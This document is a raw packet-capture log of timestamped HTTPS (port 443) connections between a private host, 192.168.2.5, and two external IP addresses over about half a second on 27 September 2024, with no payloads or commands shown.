Sep 27, 2024 05:50:40.815422058 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.815428972 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.815752029 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.817770958 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.817785978 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.817815065 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.817878962 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.817884922 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.817893982 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.817966938 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.817981958 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.818094969 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.818155050 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.819057941 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.819077015 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.819154978 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.819164038 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.819200039 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.821393967 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.821412086 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.821521044 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.821530104 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.821580887 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.829715967 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.829732895 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.829792023 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.829802036 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.829859972 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.835072041 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.835113049 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.835129023 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.835141897 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.835146904 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.835150957 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.835228920 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.835236073 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.835259914 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.835272074 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.838118076 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.838138103 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.838197947 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.838203907 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.838251114 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.838862896 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.838876963 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.838886023 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.838895082 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.838943958 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.838948011 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.838951111 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.838954926 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.839014053 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.839200974 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.846571922 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.846596956 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.847650051 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.847708941 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.847724915 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.847764969 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.847775936 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.847783089 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.847796917 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.847819090 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.847820997 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.847843885 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.847870111 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.848829031 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.848855972 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.848943949 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.848962069 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.849016905 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.850495100 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.850538015 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.850574017 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.850593090 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.850641012 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.857182980 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.857251883 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.857314110 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.857331038 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.857372046 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.857399940 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.859440088 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.859472036 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.859554052 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.859564066 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.859600067 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.859626055 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.859971046 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.859982967 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.862443924 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.862464905 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.862529993 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.862538099 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.862591028 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.869613886 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.869635105 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.869719982 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.869726896 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.869776011 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.872245073 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.872263908 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.872330904 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.872338057 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.872381926 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.879097939 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.879118919 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.880036116 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.880420923 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.880430937 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.884234905 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.884253979 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.884325981 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.884356976 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.884375095 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.884392977 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.885080099 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.885114908 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.885170937 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.885185957 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.885211945 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.885256052 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.886444092 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.886507988 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.886516094 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.886529922 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.886594057 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.887099981 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.887116909 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.887912035 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.887942076 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.887978077 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.887986898 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.888020992 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.888051987 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.891360998 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.891417980 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.891443968 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.891452074 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.891504049 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.892401934 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.892424107 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.892471075 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.892478943 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.892517090 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.892548084 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.894577980 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.894623041 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.894675016 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.894681931 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.894735098 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.894746065 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.895629883 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.895642996 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.933012962 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.933033943 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.933093071 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.933100939 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.933142900 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.934895039 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.934915066 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.934957981 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.934962988 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.935019016 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.957828999 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.957854033 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.957902908 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.957941055 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.957946062 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.957976103 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.958003044 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.958025932 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.958442926 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.958453894 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.969950914 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.969988108 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.970031023 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.970038891 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.970089912 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.971586943 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.971621037 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.971653938 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.971661091 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.971704960 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.973298073 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.973325014 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.973370075 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.973376036 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.973421097 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.974353075 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.974380970 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.974445105 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.974451065 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.974493027 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.982275963 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.982301950 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.982359886 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.982366085 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.982414007 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.983704090 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.987905025 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.987937927 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.988428116 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.990462065 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.990556002 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.990765095 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:41.012075901 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.012099028 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.012161970 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.012170076 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.012229919 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.019707918 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.019750118 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.019785881 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.019839048 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.019844055 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.020026922 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.021372080 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.021413088 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.021445990 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.021451950 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.021503925 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.031735897 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:41.031802893 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:41.031871080 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:41.035403013 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:41.074470997 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.074496031 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.074569941 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.074578047 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.074625015 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.077274084 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.077296972 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.077359915 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.077366114 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.077411890 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.080451965 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.080472946 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.080527067 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.080533981 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.080573082 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.083415985 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.083436012 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.083518028 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.083527088 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.083573103 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.086869001 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.086890936 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.086930990 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.086941004 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.087001085 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.098797083 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.102200031 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.102219105 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.102277040 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.102283955 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.102329016 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.107942104 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.107960939 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.108012915 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.108020067 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.108066082 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.109138966 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.109167099 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.109221935 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.109227896 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.109297037 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.148125887 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.154268026 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.154337883 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.154391050 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.154431105 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.154458046 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.154536009 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.155740023 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.155781984 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.155807018 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.155817032 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.155869961 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.157665014 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.157713890 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.157741070 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.157749891 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.157795906 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.168319941 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.168355942 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.168420076 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.168427944 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.168474913 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.173571110 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.177134037 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.177185059 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.177229881 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.177237988 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.177279949 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.189821005 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.189893007 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.189939022 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.189945936 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.189965963 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.189990044 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.195580959 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.195624113 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.195657969 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.195664883 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.195708036 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.197707891 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.197748899 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.197793007 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.197799921 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.197829008 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.197851896 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.203538895 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:41.203587055 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:41.204508066 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.204530001 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.204660892 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.204678059 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.205718040 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.205780983 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.206017017 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.206087112 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.206393003 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.206444025 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.206696033 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.206706047 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.207165956 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.207250118 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.207407951 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.207418919 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.241422892 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.241478920 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.241508007 CEST	49752	443	192.168.2.5	50.3.213.5
